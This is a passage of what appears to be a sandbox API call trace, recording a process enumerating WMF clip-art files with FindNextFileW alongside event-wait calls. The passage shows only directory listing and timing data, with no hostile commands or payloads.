cAlternateFileName="")) returned 1 [0292.345] ResetEvent (hEvent=0x2a0) returned 1 [0292.345] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0292.368] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0292.368] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0292.368] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0292.368] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0292.368] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0292.368] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0292.369] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0292.369] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0292.369] ResetEvent (hEvent=0x2a0) returned 1 [0292.369] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.064] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0294.064] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0294.065] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0294.065] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0294.065] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0294.065] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0294.066] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0294.066] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0294.066] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0294.066] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0294.066] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0294.067] ResetEvent (hEvent=0x2a0) returned 1 [0294.067] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.207] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0294.208] ResetEvent (hEvent=0x2a0) returned 1 [0294.208] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.210] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0294.210] ResetEvent (hEvent=0x2a0) returned 1 [0294.210] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.212] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0294.212] ResetEvent (hEvent=0x2a0) returned 1 [0294.212] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.221] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0294.222] ResetEvent (hEvent=0x2a0) returned 1 [0294.222] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.224] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0294.224] ResetEvent (hEvent=0x2a0) returned 1 [0294.224] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.226] ResetEvent (hEvent=0x2a0) returned 1 [0294.226] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.227] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0294.228] ResetEvent (hEvent=0x2a0) returned 1 [0294.228] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.229] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0294.230] ResetEvent (hEvent=0x2a0) returned 1 [0294.230] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.231] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0294.232] ResetEvent (hEvent=0x2a0) returned 1 [0294.232] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.233] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0294.234] ResetEvent (hEvent=0x2a0) returned 1 [0294.234] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.235] ResetEvent (hEvent=0x2a0) returned 1 [0294.235] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.237] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0294.237] ResetEvent (hEvent=0x2a0) returned 1 [0294.237] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.239] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0294.239] ResetEvent (hEvent=0x2a0) returned 1 [0294.239] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.242] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0294.242] ResetEvent (hEvent=0x2a0) returned 1 [0294.242] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.244] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0294.244] ResetEvent (hEvent=0x2a0) returned 1 [0294.244] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.246] ResetEvent (hEvent=0x2a0) returned 1 [0294.247] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.249] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0294.249] ResetEvent (hEvent=0x2a0) returned 1 [0294.249] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.251] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0294.251] ResetEvent (hEvent=0x2a0) returned 1 [0294.252] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.254] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0294.254] ResetEvent (hEvent=0x2a0) returned 1 [0294.254] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.256] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0294.256] ResetEvent (hEvent=0x2a0) returned 1 [0294.256] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.258] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0294.258] ResetEvent (hEvent=0x2a0) returned 1 [0294.258] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.261] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0294.261] ResetEvent (hEvent=0x2a0) returned 1 [0294.261] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.264] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0294.265] ResetEvent (hEvent=0x2a0) returned 1 [0294.265] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.837] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0294.837] ResetEvent (hEvent=0x2a0) returned 1 [0294.837] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0294.876] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aeed68 | out: lpFindFileData=0x2aeed68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, 